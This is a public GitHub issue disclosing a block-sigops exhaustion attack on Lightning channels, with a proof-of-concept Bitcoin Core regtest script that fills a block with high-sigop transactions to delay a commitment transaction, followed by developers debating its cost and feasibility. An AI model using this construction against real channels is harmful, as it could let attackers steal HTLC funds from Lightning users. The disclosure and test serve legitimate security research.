bolts icon indicating copy to clipboard operation
bolts copied to clipboard

Block Sigops Overflow attacks against Segwit-Outputs consuming LN channels

Open ariard opened this issue 7 months ago • 5 comments

Since a while, I’ve been aware about how to exploit Segwit limit in number of sigops per-block to target segwit-outputs consuming LN channels.

The attack works very basically by generating a number of small-weights high-sigops transactions with a feerate superior to the max feerate that a LN node can afford to fee-bump the inclusion of its commitment tx.

As a reminder, segwit blocks are limited to a 80k limit (MAX_BLOCK_SIGOPS_COST). Once this limit is reached, no new transaction is included in the block, even if the blocks are not full.

One of the most efficient way to busy sigops units in a block is by inserting empty CHECKMULTISIG in a script. They will be counted for as 20 sigops (MAX_PUBKEYS_PER_MULTISIG).

With 20 P2WSH-spending transactions of 3960 sigops each and one more of 399 sigops, an attacker can occupy 12803 weights units. If those transactions's feerate is above the limit that the LN node can afford, a commitment tx won't be able to be included, given the 2-of-2 CHECKMULTISIG's sigops cost.

E.g, with the following topology Mallet <-> Alice <-> Mallory.

The HTLC delta interval is 20 blocks.

At T+100, the HTLC expires and Alice has 20 blocks to claim it.

At each block, Mallory buys the whole block space with her batch of 21 sigops overflow txn. If the inclusion feerate is 2 sat /vbyte, she paid ~795990 sats per block. After 20 blocks, Alice has not been able to confirm her commitment tx. Mallet and Mallory can double-spend the HTLC.

While the attack cost can be seem as high (~843 bucks per block at time of writing at 2 sat / vbyte), it can be recovered against an unbounded N number of channels. This attack can be launched independently of mempool congestion, and the odds of success appear as high.

Any channel allowing 70 HTLC outputs and of value inferior to ~759990 sats is insecure, as there is no rational for a Lightning node to spend more than ~759990 sats to match the 2 sat / vbyte for the ~12803 weight units. The threshold of exposure might be higher if the 2nd-stage HTLC txn weight is included.

Seen attached test as of bitcoin core 28.x commit 88f0419c1.

This attack works against any L2s with usage of short-timelocks.

This is an open question if the sigops cost penalty can be bypassed by an attacker to slash its cost (GetSerializeSize() != GetVirtualTransactionSize).

Annex: test case

 test/functional/block-opsig-overflow.py | 323 ++++++++++++++++++++++++
 1 file changed, 323 insertions(+)
 create mode 100755 test/functional/block-opsig-overflow.py

diff --git a/test/functional/block-opsig-overflow.py b/test/functional/block-opsig-overflow.py
new file mode 100755
index 0000000000..6f1050a48d
--- /dev/null
+++ b/test/functional/block-opsig-overflow.py
@@ -0,0 +1,323 @@
+#!/usr/bin/env python3
+# Copyright (c) 2015-2022 The Bitcoin Core developers
+# Distributed under the MIT software license, see the accompanying
+# file COPYING or http://www.opensource.org/licenses/mit-license.php.
+
+from test_framework.blocktools import (
+    create_coinbase,
+    get_witness_script,
+    NORMAL_GBT_REQUEST_PARAMS,
+    TIME_GENESIS_BLOCK,
+)
+
+from test_framework.messages import (
+    CTransaction,
+    CTxIn,
+    CTxInWitness,
+    CTxOut,
+    COutPoint,
+    sha256,
+    COIN,
+)
+
+from test_framework.script import (
+    CScript,
+    OP_TRUE,
+    OP_0,
+    OP_IF,
+    OP_ELSE,
+    OP_CHECKSIG,
+    OP_CHECKMULTISIG,
+    OP_ENDIF,
+)
+
+from test_framework.util import (
+    assert_equal,
+)
+
+from test_framework.test_framework import BitcoinTestFramework
+
+from test_framework.wallet import MiniWallet
+
+OVERFLOW_SCRIPT = CScript([OP_IF,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_ELSE,
+        OP_TRUE,
+        OP_ENDIF])
+
+LIMITED_OVERFLOW_SCRIPT = CScript([OP_IF,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG,
+        OP_CHECKMULTISIG, OP_CHECKMULTISIG, OP_CHECKMULTISIG, 
+        OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG,
+        OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG,
+        OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG,
+        OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG,
+        OP_CHECKSIG, OP_CHECKSIG, OP_CHECKSIG, 
+        OP_ELSE,
+        OP_TRUE,
+        OP_ENDIF])
+
+def generate_overflow_parent_tx(wallet, coin, input_amount, sat_per_vbyte, nsequence):
+
+    overflow_script = OVERFLOW_SCRIPT
+    overflow_scriptpubkey = CScript([OP_0, sha256(overflow_script)])
+
+    parent_overflow_tx_fee = 200 * sat_per_vbyte
+    parent_overflow_tx = CTransaction()
+    parent_overflow_tx.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"", nsequence))
+
+    parent_overflow_tx.vout.append(CTxOut(int(input_amount - parent_overflow_tx_fee), overflow_scriptpubkey))
+    parent_overflow_tx.rehash()
+
+    wallet.sign_tx(parent_overflow_tx)
+    return parent_overflow_tx
+
+def generate_overflow_parent_tx_limited(wallet, coin, input_amount, sat_per_vbyte, nsequence):
+
+    overflow_script = LIMITED_OVERFLOW_SCRIPT
+    overflow_scriptpubkey = CScript([OP_0, sha256(overflow_script)])
+
+    parent_overflow_tx_fee = 200 * sat_per_vbyte
+    parent_overflow_tx = CTransaction()
+    parent_overflow_tx.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"", nsequence))
+
+    parent_overflow_tx.vout.append(CTxOut(int(input_amount - parent_overflow_tx_fee), overflow_scriptpubkey))
+    parent_overflow_tx.rehash()
+
+    wallet.sign_tx(parent_overflow_tx)
+    return parent_overflow_tx
+
+def generate_test_parent_tx(wallet, coin, input_amount, sat_per_vbyte, nsequence):
+
+    test_parent_script = CScript([OP_IF, OP_CHECKSIG, OP_ELSE, OP_TRUE, OP_ENDIF])
+    test_parent_scriptpubkey = CScript([OP_0, sha256(test_parent_script)])
+
+    test_parent_tx_fee = 200 * sat_per_vbyte
+    test_parent_tx = CTransaction()
+    test_parent_tx.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"", nsequence))
+
+    test_parent_tx.vout.append(CTxOut(int(input_amount - test_parent_tx_fee), test_parent_scriptpubkey))
+    test_parent_tx.rehash()
+
+    wallet.sign_tx(test_parent_tx)
+    return test_parent_tx
+
+def generate_overflow_tx(parent_txid, parent_vout, input_amount, sat_per_vbyte, nsequence):
+
+    exit_script = CScript([OP_TRUE])
+    exit_scriptpubkey = CScript([OP_0, sha256(exit_script)])
+
+    redeem_script = OVERFLOW_SCRIPT
+
+    overflow_tx_fee = 19800 * sat_per_vbyte
+
+    overflow_tx = CTransaction()
+    overflow_tx.vin.append(CTxIn(COutPoint(int(parent_txid, 16), parent_vout), b"", nsequence))
+    overflow_tx.vout.append(CTxOut(int(input_amount - overflow_tx_fee), exit_scriptpubkey))
+
+    overflow_tx.wit.vtxinwit.append(CTxInWitness())
+    overflow_tx.wit.vtxinwit[0].scriptWitness.stack = [CScript([]), redeem_script]
+
+    overflow_tx.rehash()
+    return overflow_tx
+
+def generate_overflow_tx_limited(parent_txid, parent_vout, input_amount, sat_per_vbyte, nsequence):
+
+    exit_script = CScript([OP_TRUE])
+    exit_scriptpubkey = CScript([OP_0, sha256(exit_script)])
+
+    redeem_script = LIMITED_OVERFLOW_SCRIPT
+
+    overflow_tx_fee = 1995 * sat_per_vbyte
+
+    overflow_tx = CTransaction()
+    overflow_tx.vin.append(CTxIn(COutPoint(int(parent_txid, 16), parent_vout), b"", nsequence))
+    overflow_tx.vout.append(CTxOut(int(input_amount - overflow_tx_fee), exit_scriptpubkey))
+
+    overflow_tx.wit.vtxinwit.append(CTxInWitness())
+    overflow_tx.wit.vtxinwit[0].scriptWitness.stack = [CScript([]), redeem_script]
+
+    overflow_tx.rehash()
+    return overflow_tx
+
+def generate_test_tx(parent_txid, parent_vout, input_amount, sat_per_vbyte, nsequence):
+
+    exit_script = CScript([OP_TRUE])
+    exit_scriptpubkey = CScript([OP_0, sha256(exit_script)])
+
+    redeem_script = CScript([OP_IF, OP_CHECKSIG, OP_ELSE, OP_TRUE, OP_ENDIF])
+
+    test_tx_fee = 97 * sat_per_vbyte
+
+    test_tx = CTransaction()
+    test_tx.vin.append(CTxIn(COutPoint(int(parent_txid, 16), parent_vout), b"", nsequence))
+    test_tx.vout.append(CTxOut(int(input_amount - test_tx_fee), exit_scriptpubkey))
+
+    test_tx.wit.vtxinwit.append(CTxInWitness())
+    test_tx.wit.vtxinwit[0].scriptWitness.stack = [CScript([]), redeem_script]
+
+    test_tx.rehash()
+    return test_tx
+
+class BlockOpsigOverflowTest(BitcoinTestFramework):
+    def set_test_params(self):
+        self.num_nodes = 1
+   
+    def test_block_opsig_overflow(self):
+
+        alice = self.nodes[0]
+
+        self.generate(alice, 501)
+
+        coins_collection = []
+        for i in range(0, 20):
+            coins_collection.append(self.wallet.get_utxo())
+
+        # This should be a different overflow script
+        overflow_coin_21 = self.wallet.get_utxo()
+
+        # We generate parent overflow transaction to reach the 80k block limit
+        overflow_parent_txn = []
+        for coin in coins_collection:
+            overflow_parent_txn.append(generate_overflow_parent_tx(self.wallet, coin, coin['value'] * COIN, 1, 0))
+
+        # This should be a different overflow script
+        overflow_parent_tx_21 = generate_overflow_parent_tx_limited(self.wallet, overflow_coin_21, overflow_coin_21['value'] * COIN, 1, 0)
+
+        # Forward all the parent transactions
+        overflow_parent_txids = []
+        for tx in overflow_parent_txn:
+            overflow_parent_txids.append(alice.sendrawtransaction(hexstring=tx.serialize().hex(), maxfeerate=0))
+
+        overflow_parent_txid_21 = alice.sendrawtransaction(hexstring=overflow_parent_tx_21.serialize().hex(), maxfeerate=0)
+
+        assert_equal(21, len(alice.getrawmempool()))
+
+        test_coin = self.wallet.get_utxo()
+
+        test_parent_tx = generate_test_parent_tx(self.wallet, test_coin, test_coin['value'] * COIN, 1, 0)
+
+        test_parent_txid = alice.sendrawtransaction(hexstring=test_parent_tx.serialize().hex(), maxfeerate=0)
+
+        self.generate(alice, 1)
+
+        assert_equal(0, len(alice.getrawmempool()))
+
+        self.log.info("21 Parent txn overflow confirmed + 1 Test Parent 1")
+
+        # Generate the opsig overflow txn
+        overflow_txn = []
+        for txid in overflow_parent_txids:
+            # the overflow parent tx 20 should be switched to each exact parent,
+            # change nothings as the value should be the same for each child
+            overflow_txn.append(generate_overflow_tx(txid, 0, overflow_parent_tx_21.vout[0].nValue, 2, 0))
+
+        overflow_tx_21 = generate_overflow_tx_limited(overflow_parent_txid_21, 0, overflow_parent_tx_21.vout[0].nValue, 2, 0)
+
+        # Broadcast all overflow txn in the mempool
+        for tx in overflow_txn:
+           alice.sendrawtransaction(hexstring=tx.serialize().hex(), maxfeerate=0) 
+     
+        overflow_txid_21 = alice.sendrawtransaction(hexstring=overflow_tx_21.serialize().hex(), maxfeerate=0)
+
+        assert_equal(21, len(alice.getrawmempool()))
+
+        test_tx = generate_test_tx(test_parent_txid, 0, test_parent_tx.vout[0].nValue, 1, 0)
+
+        test_txid = alice.sendrawtransaction(hexstring=test_tx.serialize().hex(), maxfeerate=0)
+
+        mempool_txn = alice.getrawmempool()
+
+        #for tx in mempool_txn:
+        #    self.log.info("Mempool entry {}".format(alice.getmempoolentry(tx)))
+        self.log.info("Mempool entry {}".format(alice.getmempoolentry(mempool_txn[0])))
+    
+        self.log.info("Mempool len {}".format(len(mempool_txn)))
+
+        self.log.info("Twenty overflow txn in mempools + 1 Test tx")
+
+        block_template = alice.getblocktemplate(NORMAL_GBT_REQUEST_PARAMS)
+
+        txn = block_template['transactions']
+        block_sigops = 0
+        block_fee = 0
+        block_weight = 0
+        i = 0
+        for tx in txn:
+            self.log.info("tx indice {} sigops {} fee {} weight {}".format(i, tx['sigops'], tx['fee'], tx['weight']))
+            block_sigops += tx['sigops']
+            block_fee += tx['fee']
+            block_weight += tx['weight']
+            i += 1
+
+        self.log.info("block sigops {}".format(block_sigops))
+        self.log.info("block fee {}".format(block_fee))
+        self.log.info("block weight {}".format(block_weight))
+
+        self.generate(alice, 1)
+
+        assert_equal(1, len(alice.getrawmempool()))
+        assert test_txid in alice.getrawmempool()
+
+        self.log.info("Alice's block template can be junked with sigops-full txn")
+        self.log.info("If the test tx is a commitment tx, the confirmation is delayed by 1 block")
+
+    def run_test(self):
+        self.wallet = MiniWallet(self.nodes[0])
+
+        self.test_block_opsig_overflow()
+
+if __name__ == '__main__':
+    BlockOpsigOverflowTest(__file__).main()

ariard avatar Jun 04 '25 19:06 ariard

I don’t think it’s really severe, so it should be okay to talk about it on a public issue.

ariard avatar Jun 04 '25 19:06 ariard

I know it's a bit cow-boy to go to talk on a novel attack vector with no pre-disclosure warning.

Though given the poor lack of ethics of a minority of contributors to LN over the past years (insults, cancels, private threats), no wish to make efforts with a responsible disclosure, which are always very time-consuming for the discoverer in CVE’s parlance.

Apologies for the majority of contributors to LN and potential impacts for LN users (it’s half-silent on how to exploit for real).

ariard avatar Jun 05 '25 15:06 ariard

At each block, Mallory buys the whole block space with her batch of 21 sigops overflow txn

If we assume Mallory can buy the entire block, then couldn't she just pay the miner an equiv to mine an empty block, or to not mine breaches by the counter party, etc? Or is your assertion that creating a block that maxes out sig ops is cheaper than stuffing like normal, or buying out right?

Seems there's another assumption that if broadcast over the normal relay network, such transactions would even be mined to begin with. As they have a relatively higher sig op cost per byte, it's likely more profitable to not mine them, as it starves out the available sig op space for other transactions.

Roasbeef avatar Jun 06 '25 23:06 Roasbeef

Any channel allowing 70 HTLC outputs and of value inferior to ~759990 sats is insecure, as there is no rational for a Lightning node to spend more than ~759990 sats to match the 2 sat / vbyte

Then there's no incentive for Mallory to carry out this attack? Given Mallory needs to occupy 20 blocks which means the cost is 20x.

yyforyongyu avatar Jun 09 '25 01:06 yyforyongyu

See answer to your questions here: https://ariard.github.io/sigsoverflow.html, it’s for CTV though a lot hold for LN.

ariard avatar Jun 11 '25 23:06 ariard